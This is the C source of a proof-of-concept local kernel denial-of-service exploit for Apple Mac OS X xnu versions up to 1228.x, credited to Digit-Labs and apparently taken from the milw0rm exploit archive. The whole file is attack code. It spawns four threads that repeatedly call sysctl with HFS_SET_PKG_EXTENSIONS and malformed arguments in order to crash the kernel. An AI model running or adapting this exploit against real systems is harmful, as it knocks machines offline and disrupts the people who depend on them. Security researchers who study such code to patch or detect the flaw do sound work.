73 lines
1.5 KiB
C
Executable file
73 lines
1.5 KiB
C
Executable file
/* xnu-vfssysctl-dos.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* Apple MACOS X xnu <= 1228.x local kernel DoS POC
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* by mu-b - Wed 19 Nov 2008
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*
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* - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <hfs/hfs_mount.h>
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#include <pthread.h>
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#include <string.h>
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#include <sys/mount.h>
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#include <sys/types.h>
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#include <sys/sysctl.h>
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#include <unistd.h>
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void
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hammer (void *arg)
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{
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char buf[1024 * (255 + 1)];
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int n, name[6];
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memset (buf, 0, sizeof buf);
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while (1)
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{
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name[0] = CTL_VFS;
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name[1] = 17;
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name[2] = HFS_SET_PKG_EXTENSIONS;
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name[3] = (int) buf;
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name[4] = 1024;
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name[5] = (rand () % 254) + 1;
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n = sysctl (name, 6, NULL, NULL, NULL, 0);
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usleep(10);
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}
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}
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int
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main (int argc, char **argv)
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{
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int i, n, tid;
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printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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for (i = 0; i < 4; i++)
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{
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n = pthread_create (&tid, NULL, hammer, NULL);
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if (n < 0)
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{
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fprintf (stderr, "failed creating hammer thread\n");
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return (EXIT_FAILURE);
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}
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}
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while (1)
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sleep (1);
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/* not reached! */
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2009-03-23]
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